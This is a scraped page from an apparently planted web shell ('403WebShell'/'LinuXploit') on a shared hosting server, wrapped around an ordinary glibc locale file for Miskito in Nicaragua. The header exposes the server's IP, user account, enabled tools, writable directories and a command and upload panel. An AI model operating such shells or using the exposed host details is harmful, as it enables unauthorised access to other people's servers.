Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.119.117.122
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/i18n/locales/miq_NI
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
% Mískitu / Miskito (miq) language locale for Nicaragua
%
% Prepared and contributed to glibc by Chris Leonard <cjl@sugarlabs.org> and
% Jairo Josué Gonzalez López <jjgonzalez@fundacionzt.org>
%
% This locale data has been developed in collaboration between:
% Sugar Labs,  http://www.sugarlabs.org/
% One Laptop Per Child, http://one.laptop.org/
% Somos Azúcar. http://somosazucar.org/
% Fundación Zamora Terán http://fundacionzt.org/
%
% Los autores desean agradecer a los desafíos de la clasificación de las lenguas indigenas
% con los códigos ISO-639 disponibles en la actualidad y su disposición a trabajar con
% todos los interesados ​​en mejorar la representación de todas las lenguas indigenas.
%
% build with: localedef -f UTF-8 -i miq_NI miq_NI
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

LC_IDENTIFICATION
title      "Miskito language locale for Nicaragua"
language  "Miskito"
territory "Nicaragua"
revision  "1.0"
date      "2016-08-20"
%
category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_MEASUREMENT
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
END LC_IDENTIFICATION

LC_CTYPE
copy "es_ES"
END LC_CTYPE

LC_COLLATE
copy "iso14651_t1"
END LC_COLLATE

LC_TIME
% siakwa kati, kuswa kati, kakamuk kati, lî wainhka kati, lih mairin kati, lî kati, pastara kati, sikla kati, wîs kati, waupasa kati, yahbra kati, trisu kati
mon "siakwa kati";/
    "kuswa kati";/
    "kakamuk kati";/
    "l<U00EE> wainhka kati";/
    "lih mairin kati";/
    "l<U00EE> kati";/
    "pastara kati";/
    "sikla kati";/
    "w<U00EE>s kati";/
    "waupasa kati";/
    "yahbra kati";/
    "trisu kati"

% re-visit with Jairo
% siakwa kati, kuswa kati, kakamuk kati, lî wainhka kati, lih mairin kati, lî kati, pastara kati, sikla kati, wîs kati, waupasa kati, yahbra kati, trisu kati
abmon "siakwa kati";/
      "kuswa kati";/
      "kakamuk kati";/
      "l<U00EE> wainhka kati";/
      "lih mairin kati";/
      "l<U00EE> kati";/
      "pastara kati";/
      "sikla kati";/
      "w<U00EE>s kati";/
      "waupasa kati";/
      "yahbra kati";/
      "trisu kati"

% sandi, mundi, tiusdi, wensde, tausde, praidi, satadi
day "sandi";/
    "mundi";/
    "tiusdi";/
    "wensde";/
    "tausde";/
    "praidi";/
    "satadi"
% san, mun, tius, wens, taus, prai, sat
abday "san";/
      "mun";/
      "tius";/
      "wens";/
      "taus";/
      "prai";/
      "sat"
% Abbreviated date and time representation to be referenced by the "%c" field descriptor -
%
% "%a" (short weekday name),
% "%d" (day of month as a decimal number),
% "%b" (short month name),
% "%Y" (year with century as a decimal number),
% "%T" (24-hour clock time in format HH:MM:SS),
% "%Z" (Time zone name)
d_t_fmt "%a %d %b %Y %T %Z"

% Date representation to be referenced by the "%x" field descriptor -
% day/month/year as decimal numbers (01/01/2000).
d_fmt "%d//%m//%y"

% Time representation to be referenced by the "%X" field descriptor -
% 24-hour clock time in format HH:MM:SS
t_fmt "%T"

% Define representation of ante meridian and post maritime strings -
% The "" mean 'default to "AM" and "PM".
am_pm "VM";"NM"

% %I:%M:%S %p
t_fmt_ampm "%I:%M:%S %p"

% Date representation not described in ISO/IEC 14652. Comes out as -
% "%a %b %e %H:%M:%S %Z %Y" which is default "date" command output
%
% %a - abbreviated weekday name,
% %b - abbreviated month name,
% %e - day of month as a decimal number with leading space (1 to 31),
% %H - hour (24-hour clock) as a decimal number (00 to 23),
% %M - minute as a decimal number (00 to 59),
% %S - seconds as a decimal number (00 to 59),
% %Z - time-zone name,
% %Y - year with century as a decimal number,e.g. 2001.
date_fmt "%a %b %e %H:%M:%S %Z %Y"
week    7;19971130;7
first_weekday 1
first_workday 2
END LC_TIME

LC_NUMERIC
copy "es_NI"
END LC_NUMERIC

LC_MONETARY
copy "es_NI"
END LC_MONETARY

LC_PAPER
copy "es_NI"
END LC_PAPER

LC_MEASUREMENT
copy "es_NI"
END LC_MEASUREMENT

% re-visit with Jairo
LC_MESSAGES
copy "es_NI"
END LC_MESSAGES

LC_NAME
copy "es_NI"
END LC_NAME

LC_ADDRESS
postal_fmt   "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N"
country_name "Nicaragua"
country_ab2  "NI"
country_ab3  "NIC"
country_num   558
country_car   "NIC"
lang_name     "M<U00ED>skitu"
lang_term     "miq"
lang_lib      "miq"
END LC_ADDRESS

LC_TELEPHONE
copy "es_NI"
END LC_TELEPHONE

Youez - 2016 - github.com/yon3zu
LinuXploit